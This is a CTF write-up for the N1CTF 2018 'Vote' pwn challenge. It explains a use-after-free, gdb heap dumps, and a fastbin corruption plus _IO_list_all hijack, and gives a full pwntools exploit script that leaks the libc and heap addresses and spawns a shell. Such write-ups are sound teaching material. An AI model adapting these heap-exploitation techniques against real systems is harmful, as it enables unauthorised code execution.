N1CTF 2018 PWN Vote Write-up

Introduction

It is an easy menu challenge. I thought there may be some security issues with multi-threading in exploitation like race condition. But it seems there is no need on that in this challenge.

Vulnerability Analysis

There exists an UAF in the cancel function in this challenge. When canceling with a given index, the corresponding ptr_list[i] will not be set to zero.

Exploit Plan

In this challenge, we need to leak the base address of heap and the base address of libc first.

Then we need to gain write-anything-anywhere primitive in this challenge. We free the chunk1 and chunk2 of size 0x70 first. Because of the UAF, we can still vote to chunk1, which means we can increase the fd pointer of chunk1. We can previously set the name of the chunk1 and reach to a situation as below. The following step is similar to fastbin corruption attack.

(gdb) x/20gx 0x000000000135c180
0x135c180:	0x0000000000000000	0x0000000000000071
0x135c190:	0x000000000135c130	0x000000005aa67113
0x135c1a0:	0x4545454545454545	0x4545454545454545
0x135c1b0:	0x4545454545454545	0x4545454545454545
0x135c1c0:	0x4545454545454545	0x4545454545454545
0x135c1d0:	0x4545454545454545	0x4545454545454545
0x135c1e0:	0x4545454545454545	0x0045454545454545
0x135c1f0:	0x0000000000000000	0x0000000000000071

0x135c110:	0x0000000000000000	0x0000000000000071
0x135c120:	0x0000000000000000	0x000000005aa67113
0x135c130:	0x0000000000000000	0x0000000000000071
0x135c140:	0x00007fb48a3114dd	0x4444444444444444
0x135c150:	0x4444444444444444	0x4444444444444444
0x135c160:	0x4444444444444444	0x4444444444444444
0x135c170:	0x4444444444444444	0x0044444444444444
0x135c180:	0x0000000000000000	0x0000000000000071

At first, I hope to overwrite __malloc_hook to hijack control flow to magic gadget, but I soon find that the stack layout does not satisfy the requirement. Therefore, I turn to use file stream oriented programming to hijack control flow via overwriting the _IO_list_all to hijack control.

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("47.90.103.10", 6000);
elif(DEBUG == 1):
    r = process("./vote");
elif(DEBUG == 2):
    r = process("./vote");
    gdb.attach(r, '''source ./script''');

def create(size, name):
    r.recvuntil("Action:");
    r.sendline("0");
    r.recvuntil("size:");
    r.sendline(str(size));
    r.recvuntil("name:");
    r.send(name);

def show(index):
    r.recvuntil("Action:");
    r.sendline("1");
    r.recvuntil("index:");
    r.sendline(str(index));

def vote(index):
    r.recvuntil("Action:");
    r.sendline("2");
    r.recvuntil("index:");
    r.sendline(str(index));

def result():
    r.recvuntil("Action:");
    r.sendline("3");

def cancel(index):
    r.recvuntil("Action:");
    r.sendline("4");
    r.recvuntil("index:");
    r.sendline(str(index))

def exploit():
    create(0x80, "A"*0x80);
    create(0x50, "B"*0x50);
    cancel(0);
    show(0);
    r.recvuntil("count: ");
    leaked = r.recvline();
    log.info("%s" % leaked);
    leakedValue = int(leaked);
    log.info("Leaked Value: 0x%x" % leakedValue);
    libcBase = leakedValue - 0x3c4b78;
    log.info("Libc Base Address: 0x%x" % libcBase);
    create(0x50, "C"*0x50);

    payload = p64(0) + p64(0x71) + p64(libcBase + 0x3c54fd);
    payload = payload.ljust(0x50, 'D');
    create(0x50, payload);
    create(0x50, "E"*0x50);
    create(0x50, "F"*0x50);

    cancel(3);
    cancel(4);

    show(4);
    r.recvuntil("count: ");
    leakedValue = int(r.recvline());
    log.info("leaked value: 0x%x" % leakedValue);
    heapBase = leakedValue - 0x110;
    log.info("Heap Base Addr: 0x%x" % heapBase);

    for i in range(0, 0x20):
        vote(4);
    vote(1);

    create(0x50, "G"*0x50);
    payload = "H"*0x10 + p64(heapBase + 0x150);
    payload += p64(1);
    payload += p64(2);
    payload += p64(3);
    payload += p64(4);
    payload += p64(5);
    payload += p64(libcBase + 0xf1117);
    payload += p64(heapBase + 0x178);
    create(0x50, payload.ljust(0x50, "H"));
    payload = "HHH" + p64(heapBase + 0xc0);
    payload = payload.ljust(0x50, "I");
    create(0x50, payload);

    cancel(0);
    cancel(2);
    r.interactive();

exploit();

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.